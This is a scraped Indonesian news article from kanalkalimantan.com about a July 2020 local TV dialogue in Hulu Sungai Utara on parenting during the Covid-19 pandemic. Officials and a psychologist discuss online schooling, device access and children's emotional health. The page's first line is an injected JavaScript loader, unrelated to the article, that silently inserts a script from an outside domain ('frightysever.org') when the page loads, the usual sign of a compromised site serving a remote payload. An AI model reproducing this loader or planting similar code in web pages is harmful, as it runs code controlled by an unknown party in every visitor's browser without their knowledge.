(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Pola asuh anak dimasa pandemi Covid-19 harus menjadi perhatian khusus para orangtua. Pasalnya situasi pandemi segala aktifitas sehari-hari masyarakat menjadi terbatas, tak terkecuali aktifitas anak.
“Situasi saat pandemi ini aktifitas sehari-hari masyarakat terbatas, termasuk aktifitas pendidikan juga terganggu, hal inilah yang menjadi perhatian kami khusunya kepada anak,” ujar Kepala DPPPA HSU Hj Gusti Iskandariah dalam dialog interaktif bersama Ketua TP PKK HSU Hj Anisah Rasyidah Wahid dan psikolog Hardiyanti Rahmah di stasiun televisi lokal KominfoTV HSU, Jumat (24/7/2020) malam.
Gusti Iskandariah mengatakan sebagai insitusi pamerintah, DPPPA HSU mencoba memonitor aktifitas anak-anak saat pandemi Covid-19 ini, guna memastikan anak-anak terlindungi.
“Kunjungan langsung ke rumah anak, dan kami jumpai berbagai kondisi dan permasalahan yang berbeda-beda,” kata Gusti Iskandariah. Anak-anak usia sekolah berdasar kebijakan pemerintah melakukan pembelajaran secara daring menjadi salah satu solusi, namun hal itu memerlukan biaya dan menimbulkan masalah baru.
Baca juga: Batola Catat 628 Kasus Covid-19, Dua Wanita Sembuh, Dua Tambahan Positif Baru
“Kita banyak temukan anak yang tidak dapat melakukan kegiatan (daring), karena adanya keterbatasan semisal perangkat, meski kuota internet gratis disedikan pun tidak semua orangtua atau anak memilikinya, apalagi di perdesaan,” paparnya.
Situasi ini, tambah Gusti menjadikan dilema, dimana dalam pembelajaran daring anak-anak dituntut menggunakan gawai. Namun di sisi lain, gawai juga sangat pengaruh besar terhadap kejiwaannya atau psikologi bagi tumbuh kembang anak yang bisa berdampak negatif.
Baca juga: Setor SK Rekomendasi, Langkah PAN Ambil ‘Panggung’ di Koalisi Pendukung Sahbirin!
Sementara itu, psikolog Hardiyanti Rahmah menilai tingkat emosi masyarakat cenderung lebih labil karena banyaknya permasalahan yang timbul di masa pandemi, tidak terkecuali bagi anak.
“Anak-anak juga mempunyai emosi, apabila kita salah mengarahkan atau memperlakukan, maka dapat memperparah kondisi kejiwaannya. Anak yang secara alamiah memiliki sifat senang bermain di saat seperti ini dihadapkan dengan kondisi yang tidak biasa, jadi peran kita yang paling utama,” ujar psikolog dari Pusat Pembelajaran Keluarga (Puspaga) DPPPA HSU ini.
Di lain pihak, Ketua TP PKK HSU Hj Anisah Rasyidah Wahid menyebut PKK terhadap pola asuh selama ini harus terus dilakukan. “Salah satunya melalui pengaruh orangtua, sehingga dapat memonitor masa tumbuh kembang anak,” katanya. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.